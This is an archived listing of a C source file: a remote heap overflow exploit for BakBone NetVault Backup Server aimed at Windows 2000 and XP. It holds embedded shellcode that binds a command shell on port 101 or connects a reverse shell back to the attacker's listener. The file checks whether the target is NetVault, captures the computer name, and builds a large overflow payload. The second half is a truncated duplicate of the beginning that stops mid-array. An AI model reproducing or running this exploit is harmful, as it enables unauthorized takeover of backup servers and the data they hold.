home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / backup / netvault / netvaultremote.c < prev   
Encoding:
C/C++ Source or Header  |  2005-04-05  |  29.5 KB  |  724 lines
  1. /*
  2. for more informations class101.org/netv-remhbof.pdf 
  3. */
  4.  
  5. #include <stdio.h>
  6. #include <string.h>
  7. #ifdef WIN32
  8. #include "winsock2.h"
  9. #pragma comment(lib, "ws2_32")
  10. #else
  11. #include <sys/socket.h>
  12. #include <sys/types.h>
  13. #include <netinet/in.h>
  14. #include <netinet/in_systm.h>
  15. #include <netinet/ip.h>
  16. #include <netdb.h>
  17. #include <arpa/inet.h>
  18. #include <unistd.h>
  19. #include <stdlib.h>
  20. #include <fcntl.h>
  21. #endif
  22.  
  23. char scode1[]=
  24. "\x33\xC9\x83\xE9"
  25. "\xAF\xD9\xEE\xD9\x74\x24\xF4\x5B\x81\x73\x13\xBB"
  26. "\x1E\xD3\x6A\x83\xEB\xFC\xE2\xF4\x47\x74\x38\x25\x53\xE7\x2C\x95"
  27. "\x44\x7E\x58\x06\x9F\x3A\x58\x2F\x87\x95\xAF\x6F\xC3\x1F\x3C\xE1"
  28. "\xF4\x06\x58\x35\x9B\x1F\x38\x89\x8B\x57\x58\x5E\x30\x1F\x3D\x5B"
  29. "\x7B\x87\x7F\xEE\x7B\x6A\xD4\xAB\x71\x13\xD2\xA8\x50\xEA\xE8\x3E"
  30. "\x9F\x36\xA6\x89\x30\x41\xF7\x6B\x50\x78\x58\x66\xF0\x95\x8C\x76"
  31. "\xBA\xF5\xD0\x46\x30\x97\xBF\x4E\xA7\x7F\x10\x5B\x7B\x7A\x58\x2A"
  32. "\x8B\x95\x93\x66\x30\x6E\xCF\xC7\x30\x5E\xDB\x34\xD3\x90\x9D\x64"
  33. "\x57\x4E\x2C\xBC\x8A\xC5\xB5\x39\xDD\x76\xE0\x58\xD3\x69\xA0\x58"
  34. "\xE4\x4A\x2C\xBA\xD3\xD5\x3E\x96\x80\x4E\x2C\xBC\xE4\x97\x36\x0C"
  35. "\x3A\xF3\xDB\x68\xEE\x74\xD1\x95\x6B\x76\x0A\x63\x4E\xB3\x84\x95"
  36. "\x6D\x4D\x80\x39\xE8\x4D\x90\x39\xF8\x4D\x2C\xBA\xDD\x76\xD3\x0F"
  37. "\xDD\x4D\x5A\x8B\x2E\x76\x77\x70\xCB\xD9\x84\x95\x6D\x74\xC3\x3B"
  38. "\xEE\xE1\x03\x02\x1F\xB3\xFD\x83\xEC\xE1\x05\x39\xEE\xE1\x03\x02"
  39. "\x5E\x57\x55\x23\xEC\xE1\x05\x3A\xEF\x4A\x86\x95\x6B\x8D\xBB\x8D"
  40. "\xC2\xD8\xAA\x3D\x44\xC8\x86\x95\x6B\x78\xB9\x0E\xDD\x76\xB0\x07"
  41. "\x32\xFB\xB9\x3A\xE2\x37\x1F\xE3\x5C\x74\x97\xE3\x59\x2F\x13\x99"
  42. "\x11\xE0\x91\x47\x45\x5C\xFF\xF9\x36\x64\xEB\xC1\x10\xB5\xBB\x18"
  43. "\x45\xAD\xC5\x95\xCE\x5A\x2C\xBC\xE0\x49\x81\x3B\xEA\x4F\xB9\x6B"
  44. "\xEA\x4F\x86\x3B\x44\xCE\xBB\xC7\x62\x1B\x1D\x39\x44\xC8\xB9\x95"
  45. "\x44\x29\x2C\xBA\x30\x49\x2F\xE9\x7F\x7A\x2C\xBC\xE9\xE1\x03\x02"
  46. "\x54\xD0\x33\x0A\xE8\xE1\x05\x95\x6B\x1E\xD3\x6A";
  47.  
  48.  
  49. char scode2[]=
  50. /*original vlad902's reverse shellcode from metasploit.com
  51. NOT xored, modded by class101 for ca's xpl0it to remove the common badchar "\x20"
  52. original bytes + modded = 291 + 3 = 294 bytes reverse shellcode v1.31*/
  53. "\xFC\x6A\xEB\x52" /*modded adjusting jump*/
  54. "\xE8\xF9\xFF\xFF\xFF\x60\x8B\x6C\x24\x24\x8B\x45\x3C\x8B\x7C\x05"
  55. "\x78\x01\xEF"
  56. "\x83\xC7\x01" /*modded, adding 1 to edi*/
  57. "\x8B\x4F\x17" /*modded, adjusting ecx*/
  58. "\x8B\x5F\x1F" /*modded, adjusting ebx, "\x20" out, yeahouu ;>*/
  59. "\x01\xEB\xE3\x30\x49\x8B\x34\x8B\x01\xEE\x31\xC0\x99\xAC\x84\xC0"
  60. "\x74\x07\xC1\xCA\x0D\x01\xC2\xEB\xF4\x3B\x54\x24\x28\x75\xE3"
  61. "\x8B\x5F\x23" /*modded, adjusting ebx*/
  62. "\x01\xEB\x66\x8B\x0C\x4B"
  63. "\x8B\x5F\x1B" /*modded, adjusting ebx*/
  64. "\x01\xEB\x03\x2C\x8B\x89\x6C\x24\x1C\x61\xC3\x31\xC0\x64\x8B\x40"
  65. "\x30\x8B\x40\x0C\x8B\x70\x1C\xAD\x8B\x40\x08\x5E\x68\x8E\x4E\x0E"
  66. "\xEC\x50\xFF\xD6\x31\xDB\x66\x53\x66\x68\x33\x32\x68\x77\x73\x32"
  67. "\x5F\x54\xFF\xD0\x68\xCB\xED\xFC\x3B\x50\xFF\xD6\x5F\x89\xE5\x66"
  68. "\x81\xED\x08\x02\x55\x6A\x02\xFF\xD0\x68\xD9\x09\xF5\xAD\x57\xFF"
  69. "\xD6\x53\x53\x53\x53\x43\x53\x43\x53\xFF\xD0\x68\x00\x00\x00\x00"
  70. "\x66\x68\x00\x00\x66\x53\x89\xE1\x95\x68\xEC\xF9\xAA\x60\x57\xFF"
  71. "\xD6\x6A\x10\x51\x55\xFF\xD0\x66\x6A\x64\x66\x68\x63\x6D\x6A\x50"
  72. "\x59\x29\xCC\x89\xE7\x6A\x44\x89\xE2\x31\xC0\xF3\xAA\x95\x89\xFD"
  73. "\xFE\x42\x2D\xFE\x42\x2C\x8D\x7A\x38\xAB\xAB\xAB\x68\x72\xFE\xB3"
  74. "\x16\xFF\x75\x28\xFF\xD6\x5B\x57\x52\x51\x51\x51\x6A\x01\x51\x51"
  75. "\x55\x51\xFF\xD0\x68\xAD\xD9\x05\xCE\x53\xFF\xD6\x6A\xFF\xFF\x37"
  76. "\xFF\xD0\x68\xE7\x79\xC6\x79\xFF\x75\x04\xFF\xD6\xFF\x77\xFC\xFF"
  77. "\xD0\x68\xEF\xCE\xE0\x60\x53\xFF\xD6\xFF\xD0";
  78.  
  79.  
  80. char scodeA[] =
  81. "\x11\x03\x00\x00\x01\xCB\x22\x77\xC9\x17\x00\x00\x00\x69\x3B\x69"
  82. "\x3B\x69\x3B\x69\x3B\x69\x3B\x69\x3B\x69\x3B\x69\x3B\x69\x3B\x69"
  83. "\x3B\x73\x3B\x00\x00\x00\x00\x00\xC0\x00\x00\x00\x0C\x58\x3C\x42"
  84. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"
  85. "\x03\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00";
  86.  
  87. char scodeB[] =
  88. "\x00\x51\x02\x00\x00\x00\x00\x00\x00\x01\x03\x05\x27\xCA\x07\x00"
  89. "\x00\x00\x73\x3B\x62\x3B\x6F\x3B\x00";
  90.  
  91. char scodeC[] =
  92. "\x00\x00\x02\x01\x00\x00\x00\x8F\xD0\xF0\xCA\x0B\x00\x00"
  93. "\x00\x69\x3B\x62\x3B\x6F\x3B\x6F\x3B\x7A\x3B\x00\x11\x57\x3C\x42"
  94. "\x00\x01\xB9\xF9\xA2\xC8\x00\x00\x00\x00\x03\x00\x00\x00\x00\x01"
  95. "\xA5\x97\xF0\xCA\x05\x00\x00\x00\x6E\x33\x32\x3B\x00\x20\x00\x00"
  96. "\x00\x10\x02\x4E\x3F\xAC\x14\xCC\x0A\x00\x00\x00\x00\x00\x00\x00"
  97. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  98. "\x00\x01\xA5\x97\xF0\xCA\x05\x00\x00\x00\x6E\x33\x32\x3B\x00\x20"
  99. "\x00\x00\x00\x10\x02\x4E\x3F\xC0\xA8\xEA\xEB\x00\x00\x00\x00\x00"
  100. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  101. "\x00\x00\x00\x01\xA5\x97\xF0\xCA\x05\x00\x00\x00\x6E\x33\x32\x3B"
  102. "\x00\x20\x00\x00\x00\x10\x02\x4E\x3F\xC2\x97\x2C\xD3\x00\x00\x00"
  103. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  104. "\x00\x00\x00\x00\x00\xB9\xF9\xA2\xC8\x02\x02\x00\x00\x00\xA5\x97"
  105. "\xF0\xCA\x05\x00\x00\x00\x6E\x33\x32\x3B\x00\x20\x00\x00\x00\x04"
  106. "\x02\x4E\x3F\xAC\x14\xCC\x0A\xB0\xFC\xE2\x00\x00\x00\x00\x00\xEC"
  107. "\xFA\x8E\x01\xA4\x6B\x41\x00\xE4\xFA\x8E\x01\xFF\xFF\xFF\xFF\x01"
  108. "\x02\x00\x00\x00";
  109.  
  110. char scodeD[] =
  111. "\x00\x06\x00\x00\x00\x0B\x00\x00\x00\x05\x00\x00\x00\x54"
  112. "\x79\x70\x65\x00\x01\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00"
  113. "\x77\x69\x6E\x6E\x74\x00\x12\x00\x00\x00\x55\x44\x50\x20\x46\x72"
  114. "\x61\x67\x6D\x65\x6E\x74\x20\x53\x69\x7A\x65\x00\x01\x00\x00\x00"
  115. "\x01\x00\x00\x00\x05\x00\x00\x00\x31\x34\x30\x30\x00\x07\x00\x00"
  116. "\x00\x53\x65\x72\x76\x65\x72\x00\x01\x00\x00\x00\x01\x00\x00\x00"
  117. "\x05\x00\x00\x00\x54\x52\x55\x45\x00\x0C\x00\x00\x00\x44\x65\x73"
  118. "\x63\x72\x69\x70\x74\x69\x6F\x6E\x00\x00\x00\x00\x00\x01\x00\x00"
  119. "\x00\x0A\x00\x00\x00\x4E\x56\x56\x65\x72\x73\x69\x6F\x6E\x00\x01"
  120. "\x00\x00\x00\x01\x00\x00\x00\x05\x00\x00\x00\x37\x30\x33\x30\x00"
  121. "\x0D\x00\x00\x00\x4E\x56\x42\x75\x69\x6C\x64\x4C\x65\x76\x65\x6C"
  122. "\x00\x01\x00\x00\x00\x01\x00\x00\x00\x03\x00\x00\x00\x33\x37\x00";
  123.  
  124. char grabcpname[] =
  125. "\xC9\x00\x00\x00\x01\xCB\x22\x77\xC9\x17\x00\x00\x00\x69\x3B\x69"
  126. "\x3B\x69\x3B\x69\x3B\x69\x3B\x69\x3B\x69\x3B\x69\x3B\x69\x3B\x69"
  127. "\x3B\x73\x3B\x00\x00\x00\x00\x00\xC0\x00\x00\x00\x00\x00\x00\x00"
  128. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00"
  129. "\x03\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x0B\x00\x00\x00"
  130. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x00\x00\x00\x00\x00\x00"
  131. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  132. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  133. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  134. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  135. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  136. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  137. "\x09\x00\x00\x00\x00\x00\x00\x00\x00";
  138.  
  139. char payload[1024],payload2[20000000],recvbuf[1024],ver2[1024],
  140. cpname[1024],sz[1024],szb[1024],szb2[1024];
  141. int tot,tot2,l00p=0;
  142.  
  143. char sip[3],spo[1],pad[]="\xEB\x0A",pad2[]="\xE9\xF3\xFD\xFF\xFF";
  144. char ret1[]="\x7E\x6D\x03\x75"; //call dword [esi+4C], ws2_32.dll, w2k SP4 EN
  145. char ret1c[]="\xBD\x9B\x36\x7C"; //call dword [edi+74], MSVCR71.dll, XP SP1a-1-0 EN
  146. char ret2[]="\xF0\xA1\x5C\x7C"; //UEF (UnHandledExceptionFilter) w2k sp4 EN
  147. char ret4[]="\xB4\x73\xED\x77"; //UEF XP SP1a-1-0 EN
  148. char padA[]="\x00\x00\x00";
  149. char szc[]="\xFF\xFF";
  150.  
  151. // rtlmethod char repair[]="\xC7\x40\x89\x60\x20\xF8\x77"; repairing RtlEnterCriticalSection on 2k SP4
  152. //you will prolly need to repair this repair[] for your os :>
  153. //I did it quickly: mov dword ptr [eax-77],77F82060
  154. //for litchfield this method is reliable due to the fixed address 0x7FFDF020
  155. //for me that's a crap method like others known heap exploitations
  156. //because you realiably repair the functions across all nt based os?, and where to realiably jump...,
  157. //and also the call to drwtsn32, right before ExitProcess(), acts as a breakpoint, and 
  158. //your shellcode will be executed once 'OK' or 'CANCEL' clicked. At least this is still a 'fun' ExitProcess() :)
  159.  
  160. #ifdef WIN32
  161. WSADATA wsadata;
  162. #endif
  163.  
  164. void ver();
  165. void usage(char* us);
  166. void sl(int time);
  167.  
  168. int main(int argc,char *argv[])
  169. {
  170. ver();
  171. int check1, check2, rc, i, j, k;
  172. unsigned long gip;
  173. unsigned short gport;
  174. char *what, *where, *os;
  175. loop:
  176. if (argc>6||argc<3||atoi(argv[1])>2||atoi(argv[1])<1){usage(argv[0]);return -1;}
  177. if (argc==5){usage(argv[0]);return -1;}
  178. if (strlen(argv[2])<7){usage(argv[0]);return -1;}
  179. if (argc==6)
  180. {
  181. if (strlen(argv[4])<7){usage(argv[0]);return -1;}
  182. }
  183. #ifndef WIN32
  184. if (argc==6)
  185. {
  186. gip=inet_addr(argv[4])^(long)0x00000000;
  187. gport=htons(atoi(argv[5]))^(short)0x0000;
  188. memcpy(&sip[0], &gip, 4);memcpy(&spo[0], &gport, 2);
  189. check1=strlen(&sip[0]);check2=strlen(&spo[0]);
  190. if (check1 == 0||check1 == 1||check1 == 2||check1 == 3){
  191. printf("[+] error, the IP has a null byte in hex...\n");return -1;}
  192. if (check2 != 2){printf("[+] error, the PORT has a null byte in hex...\n");return -1;}
  193. }
  194. #define Sleep sleep
  195. #define SOCKET int
  196. #define closesocket(s) close(s)
  197. #else
  198. if (WSAStartup(MAKEWORD(2,0),&wsadata)!=0){printf("[+] wsastartup error\n");
  199. return -1;}
  200. if (argc==6)
  201. {
  202. gip=inet_addr(argv[4])^(ULONG)0x00000000;
  203. gport=htons(atoi(argv[5]))^(USHORT)0x0000;
  204. memcpy(&sip[0], &gip, 4);memcpy(&spo[0], &gport, 2);
  205. check1=strlen(&sip[0]);check2=strlen(&spo[0]);
  206. if (check1 == 0||check1 == 1||check1 == 2||check1 == 3){
  207. printf("[+] error, the IP has a null byte in hex...\n");return -1;}
  208. if (check2 != 2){printf("[+] error, the PORT has a null byte in hex...\n");return -1;}
  209. }
  210. #endif
  211. int ip=htonl(inet_addr(argv[2])), port;
  212. if (argc==4||argc==6){port=atoi(argv[3]);} else port=20031;
  213. SOCKET s;fd_set mask;struct timeval timeout; struct sockaddr_in server;
  214. s=socket(AF_INET,SOCK_STREAM,0);
  215. if (s==-1){printf("[+] socket() error\n");return -1;} 
  216. if (atoi(argv[1]) == 1){what=ret1;where=ret2;os="Win2k SP4 Server English\n[+] 
  217. Win2k SP4 Pro English\n";}
  218. if (atoi(argv[1]) == 2){what=ret1c;where=ret4;os="WinXP SP0 Pro. English\n[+] 
  219. WinXP SP1 Pro. English\n[+] WinXP SP1a Pro. English\n";}
  220. if (l00p==0){printf("[+] TARGET: %s\n",os);sl(1);}
  221. server.sin_family=AF_INET;
  222. server.sin_addr.s_addr=htonl(ip);
  223. server.sin_port=htons(port);
  224. connect(s,( struct sockaddr *)&server,sizeof(server));
  225. timeout.tv_sec=3;timeout.tv_usec=0;FD_ZERO(&mask);FD_SET(s,&mask);
  226. switch(select(s+1,NULL,&mask,NULL,&timeout))
  227. {
  228. case -1: {printf("[+] select() error\n");closesocket(s);return -1;}
  229. case 0: {printf("[+] connect() error\n");closesocket(s);return -1;}
  230. default:
  231. if(FD_ISSET(s,&mask))
  232. {
  233. if (l00p==0)
  234. {
  235. printf("[+] connection 1: grabbing computername via netvault...\n");
  236. sl(2);
  237. send(s,grabcpname,sizeof(grabcpname)-1,0);
  238. rc = recv(s,recvbuf,sizeof(recvbuf),0);
  239. if (rc==-1||rc<400||recvbuf[13]!=105&&recvbuf[14]!=59){printf("[+] not netvault or 
  240. patched, aborting..\n");return -1;}
  241. else if (rc==0){printf("[+] nothing received, not netvault or patched, aborting..\n");return -1;}
  242. else printf("[+] analyzing packets, sorting computername\n");
  243. sl(2);
  244. printf("[+] bufsize: %d\n",rc);sl(1);
  245. for (i=80,j=0;recvbuf[i]!=0;i++,j++)
  246. {
  247. memset(cpname+j,recvbuf[i],1);
  248. }
  249. memset(sz,strlen(cpname)+1,1);
  250. memset(ver2,recvbuf[rc-37],1);memset(ver2+1,0x2E,1);
  251. memset(ver2+2,recvbuf[rc-35],1);memset(ver2+3,0x2E,1);
  252. memset(ver2+4,recvbuf[rc-34],1);
  253. printf("[+] cmpname: %s\n",cpname);sl(1);
  254. printf("[+] version: %s\n",ver2);sl(1);l00p++;
  255. closesocket(s);
  256. #ifdef WIN32
  257. WSACleanup();
  258. #endif
  259. goto loop;
  260. }
  261. printf("[+]\n[+] connection 2: modding payload regarding computername and length\n");sl(1);
  262. printf("[+] loading attack\n");sl(1);
  263. /*the cpname length is important, that's why we reajust EAX and ECX 
  264. function of cpnamelength.*/
  265. k=7-strlen(cpname);
  266. memset(payload,0x41,1);
  267. // rtlmethod memset(payload2,0x90,k+32417); rtl
  268. // rtlmethod memcpy(payload2+k+32417,"\x1C\xF0\xFD\x7F",4);
  269. // rtlmethod memcpy(payload2+k+32421,"\x1A\x9E\xEA\x00",4);
  270. // rtlmethod memcpy(payload2+k+31902, repair, 7);
  271. memset(payload2,0x90,k+35431);
  272. memcpy(payload2+k+32413,pad,2);memcpy(payload2+k+32417,what,4);
  273. memcpy(payload2+k+32421,where,4);memcpy(payload2+k+32426,pad2,5);
  274. if (argc==6)
  275. {
  276. memcpy(&scode2[167], &gip, 4);
  277. memcpy(&scode2[173], &gport, 2);
  278. memcpy(payload2+k+31914,scode2,strlen(scode2));
  279. }
  280. else memcpy(payload2+k+31914,scode1,strlen(scode1));
  281. tot=sizeof(padA)-1+sizeof(scodeA)-1+sizeof(scodeB)-1+sizeof(scodeC)-1+
  282. sizeof(scodeD)-1+strlen(payload)+strlen(payload2)+strlen(sz)+strlen(cpname);
  283. tot2=tot-192;
  284. memcpy(szb,&tot,2);memcpy(&scodeA[0],&szb,strlen(szb));
  285. memcpy(szb2,&tot2,2);memcpy(&scodeB[1],&szb2,strlen(szb2));
  286. memcpy(scodeC+254,szc,2);
  287. printf("[+] sh0uting the heap!\n");sl(3);
  288. if (send(s,scodeA,sizeof(scodeA)-1,0)==-1) { printf("[+] sending error, the server prolly rebooted.\n");
  289. return -1;}
  290. if (send(s,payload,strlen(payload),0)==-1) { printf("[+] sending error, the server prolly rebooted.\n");
  291. return -1;}
  292. if (send(s,scodeB,sizeof(scodeB)-1,0)==-1) { printf("[+] sending error, the server prolly rebooted.\n");
  293. return -1;}
  294. if (send(s,sz,strlen(sz),0)==-1) { printf("[+] sending error, the server prolly rebooted.\n");
  295. return -1;}
  296. if (send(s,padA,sizeof(padA)-1,0)==-1) { printf("[+] sending error, the server prolly rebooted.\n");
  297. return -1;}
  298. if (send(s,cpname,strlen(cpname),0)==-1) { printf("[+] sending error, the server prolly rebooted.\n");
  299. return -1;}
  300. if (send(s,scodeC,sizeof(scodeC)-1,0)==-1) { printf("[+] sending error, the server prolly rebooted.\n");
  301. return -1;}
  302. if (send(s,payload2,strlen(payload2),0)==-1) { printf("[+] sending error, the server prolly rebooted.\n");
  303. return -1;}
  304. sl(6);
  305. printf("[+]\n[+] size of payload: %d\n",tot);
  306. if (argc==6){printf("[+] payload sent, look at your listener, you should get a shell\n");}
  307. else printf("[+] payload sent, use telnet %s:101 to get a shell\n",inet_ntoa(server.sin_addr));
  308. return 0;
  309. }
  310. }
  311. closesocket(s);
  312. #ifdef WIN32
  313. WSACleanup();
  314. #endif
  315. return 0;
  316. }
  317.  
  318.  
  319. void usage(char* us) 
  320. { 
  321.  
  322. printf(" \n");
  323. printf("[+] . 101_netvault.exe Target VulnIP (bind mode) \n");
  324. printf("[+] . 101_netvault.exe Target VulnIP VulnPORT (bind mode) \n");
  325. printf("[+] . 101_netvault.exe Target VulnIP VulnPORT GayIP GayPORT reverse mode) \n");
  326. printf("TARGETS: \n");
  327. printf("[+] 1. Win2k SP4 Server English (*) - v5.0.2195 \n");
  328. printf("[+] 1. Win2k SP4 Pro English (*) - v5.0.2195 \n");
  329. printf("[+] 2. WinXP SP0 Pro. English - v5.1.2600 \n");
  330. printf("[+] 2. WinXP SP1 Pro. English (*) - v5.1.2600 \n");
  331. printf("[+] 2. WinXP SP1a Pro. English (*) - v5.1.2600 \n");
  332. printf("NOTE: \n");
  333. printf("The exploit bind a cmdshell port 101 or \n");
  334. printf("reverse a cmdshell on your listener. \n");
  335. printf("A wildcard (*) mean tested working, else, supposed working. \n");
  336. printf("A symbol (-) mean all. \n");
  337. printf(" Compilation msvc6, cygwin, Linux. \n");
  338. printf(" \n");
  339. return;
  340. } 
  341.  
  342. void ver()
  343. { 
  344. printf(" \n");
  345. printf("============================[v0.1]====\n");
  346. printf("=====BakBone NetVault, Backup Server===============\n"); 
  347. printf("=====Clientname, Remote Heap Overflow Exploit==========\n");
  348. printf("====coded by class101======[Hat-Squad.com 2005]=====\n");
  349. printf("============================================\n");
  350. printf(" \n");
  351. }
  352.  
  353. void sl(int time)
  354. {
  355. #ifdef WIN32
  356. Sleep(time*1000);
  357. #else
  358. Sleep(time);
  359. #endif
  360. }
  361.  
  362. /*
  363. for more informations class101.org/netv-remhbof.pdf 
  364. */
  365.  
  366. #include <stdio.h>
  367. #include <string.h>
  368. #ifdef WIN32
  369. #include "winsock2.h"
  370. #pragma comment(lib, "ws2_32")
  371. #else
  372. #include <sys/socket.h>
  373. #include <sys/types.h>
  374. #include <netinet/in.h>
  375. #include <netinet/in_systm.h>
  376. #include <netinet/ip.h>
  377. #include <netdb.h>
  378. #include <arpa/inet.h>
  379. #include <unistd.h>
  380. #include <stdlib.h>
  381. #include <fcntl.h>
  382. #endif
  383.  
  384. char scode1[]=
  385. "\x33\xC9\x83\xE9"
  386. "\xAF\xD9\xEE\xD9\x74\x24\xF4\x5B\x81\x73\x13\xBB"
  387. "\x1E\xD3\x6A\x83\xEB\xFC\xE2\xF4\x47\x74\x38\x25\x53\xE7\x2C\x95"
  388. "\x44\x7E\x58\x06\x9F\x3A\x58\x2F\x87\x95\xAF\x6F\xC3\x1F\x3C\xE1"
  389. "\xF4\x06\x58\x35\x9B\x1F\x38\x89\x8B\x57\x58\x5E\x30\x1F\x3D\x5B"
  390. "\x7B\x87\x7F\xEE\x7B\x6A\xD4\xAB\x71\x13\xD2\xA8\x50\xEA\xE8\x3E"
  391. "\x9F\x36\xA6\x89\x30\x41\xF7\x6B\x50\x78\x58\x66\xF0\x95\x8C\x76"
  392. "\xBA\xF5\xD0\x46\x30\x97\xBF\x4E\xA7\x7F\x10\x5B\x7B\x7A\x58\x2A"
  393. "\x8B\x95\x93\x66\x30\x6E\xCF\xC7\x30\x5E\xDB\x34\xD3\x90\x9D\x64"
  394. "\x57\x4E\x2C\xBC\x8A\xC5\xB5\x39\xDD\x76\xE0\x58\xD3\x69\xA0\x58"
  395. "\xE4\x4A\x2C\xBA\xD3\xD5\x3E\x96\x80\x4E\x2C\xBC\xE4\x97\x36\x0C"
  396. "\x3A\xF3\xDB\x68\xEE\x74\xD1\x95\x6B\x76\x0A\x63\x4E\xB3\x84\x95"
  397. "\x6D\x4D\x80\x39\xE8\x4D\x90\x39\xF8\x4D\x2C\xBA\xDD\x76\xD3\x0F"
  398. "\xDD\x4D\x5A\x8B\x2E\x76\x77\x70\xCB\xD9\x84\x95\x6D\x74\xC3\x3B"
  399. "\xEE\xE1\x03\x02\x1F\xB3\xFD\x83\xEC\xE1\x05\x39\xEE\xE1\x03\x02"
  400. "\x5E\x57\x55\x23\xEC\xE1\x05\x3A\xEF\x4A\x86\x95\x6B\x8D\xBB\x8D"
  401. "\xC2\xD8\xAA\x3D\x44\xC8\x86\x95\x6B\x78\xB9\x0E\xDD\x76\xB0\x07"
  402. "\x32\xFB\xB9\x3A\xE2\x37\x1F\xE3\x5C\x74\x97\xE3\x59\x2F\x13\x99"
  403. "\x11\xE0\x91\x47\x45\x5C\xFF\xF9\x36\x64\xEB\xC1\x10\xB5\xBB\x18"
  404. "\x45\xAD\xC5\x95\xCE\x5A\x2C\xBC\xE0\x49\x81\x3B\xEA\x4F\xB9\x6B"
  405. "\xEA\x4F\x86\x3B\x44\xCE\xBB\xC7\x62\x1B\x1D\x39\x44\xC8\xB9\x95"
  406. "\x44\x29\x2C\xBA\x30\x49\x2F\xE9\x7F\x7A\x2C\xBC\xE9\xE1\x03\x02"
  407. "\x54\xD0\x33\x0A\xE8\xE1\x05\x95\x6B\x1E\xD3\x6A";
  408.  
  409.  
  410. char scode2[]=
  411. /*original vlad902's reverse shellcode from metasploit.com
  412. NOT xored, modded by class101 for ca's xpl0it to remove the common badchar "\x20"
  413. original bytes + modded = 291 + 3 = 294 bytes reverse shellcode v1.31*/
  414. "\xFC\x6A\xEB\x52" /*modded adjusting jump*/
  415. "\xE8\xF9\xFF\xFF\xFF\x60\x8B\x6C\x24\x24\x8B\x45\x3C\x8B\x7C\x05"
  416. "\x78\x01\xEF"
  417. "\x83\xC7\x01" /*modded, adding 1 to edi*/
  418. "\x8B\x4F\x17" /*modded, adjusting ecx*/
  419. "\x8B\x5F\x1F" /*modded, adjusting ebx, "\x20" out, yeahouu ;>*/
  420. "\x01\xEB\xE3\x30\x49\x8B\x34\x8B\x01\xEE\x31\xC0\x99\xAC\x84\xC0"
  421. "\x74\x07\xC1\xCA\x0D\x01\xC2\xEB\xF4\x3B\x54\x24\x28\x75\xE3"
  422. "\x8B\x5F\x23" /*modded, adjusting ebx*/
  423. "\x01\xEB\x66\x8B\x0C\x4B"
  424. "\x8B\x5F\x1B" /*modded, adjusting ebx*/
  425. "\x01\xEB\x03\x2C\x8B\x89\x6C\x24\x1C\x61\xC3\x31\xC0\x64\x8B\x40"
  426. "\x30\x8B\x40\x0C\x8B\x70\x1C\xAD\x8B\x40\x08\x5E\x68\x8E\x4E\x0E"
  427. "\xEC\x50\xFF\xD6\x31\xDB\x66\x53\x66\x68\x33\x32\x68\x77\x73\x32"
  428. "\x5F\x54\xFF\xD0\x68\xCB\xED\xFC\x3B\x50\xFF\xD6\x5F\x89\xE5\x66"
  429. "\x81\xED\x08\x02\x55\x6A\x02\xFF\xD0\x68\xD9\x09\xF5\xAD\x57\xFF"
  430. "\xD6\x53\x53\x53\x53\x43\x53\x43\x53\xFF\xD0\x68\x00\x00\x00\x00"
  431. "\x66\x68\x00\x00\x66\x53\x89\xE1\x95\x68\xEC\xF9\xAA\x60\x57\xFF"
  432. "\xD6\x6A\x10\x51\x55\xFF\xD0\x66\x6A\x64\x66\x68\x63\x6D\x6A\x50"
  433. "\x59\x29\xCC\x89\xE7\x6A\x44\x89\xE2\x31\xC0\xF3\xAA\x95\x89\xFD"
  434. "\xFE\x42\x2D\xFE\x42\x2C\x8D\x7A\x38\xAB\xAB\xAB\x68\x72\xFE\xB3"
  435. "\x16\xFF\x75\x28\xFF\xD6\x5B\x57\x52\x51\x51\x51\x6A\x01\x51\x51"
  436. "\x55\x51\xFF\xD0\x68\xAD\xD9\x05\xCE\x53\xFF\xD6\x6A\xFF\xFF\x37"
  437. "\xFF\xD0\x68\xE7\x79\xC6\x79\xFF\x75\x04\xFF\xD6\xFF\x77\xFC\xFF"
  438. "\xD0\x68\xEF\xCE\xE0\x60\x53\xFF\xD6\xFF\xD0";
  439.  
  440.  
  441. char scodeA[] =
  442. "\x11\x03\x00\x00\x01\xCB\x22\x77\xC9\x17\x00\x00\x00\x69\x3B\x69"
  443. "\x3B\x69\x3B\x69\x3B\x69\x3B\x69\x3B\x69\x3B\x69\x3B\x69\x3B\x69"
  444. "\x3B\x73\x3B\x00\x00\x00\x00\x00\xC0\x00\x00\x00\x0C\x58\x3C\x42"
  445. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"
  446. "\x03\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00";
  447.  
  448. char scodeB[] =
  449. "\x00\x51\x02\x00\x00\x00\x00\x00\x00\x01\x03\x05\x27\xCA\x07\x00"
  450. "\x00\x00\x73\x3B\x62\x3B\x6F\x3B\x00";
  451.  
  452. char scodeC[] =
  453. "\x00\x00\x02\x01\x00\x00\x00\x8F\xD0\xF0\xCA\x0B\x00\x00"
  454. "\x00\x69\x3B\x62\x3B\x6F\x3B\x6F\x3B\x7A\x3B\x00\x11\x57\x3C\x42"
  455. "\x00\x01\xB9\xF9\xA2\xC8\x00\x00\x00\x00\x03\x00\x00\x00\x00\x01"
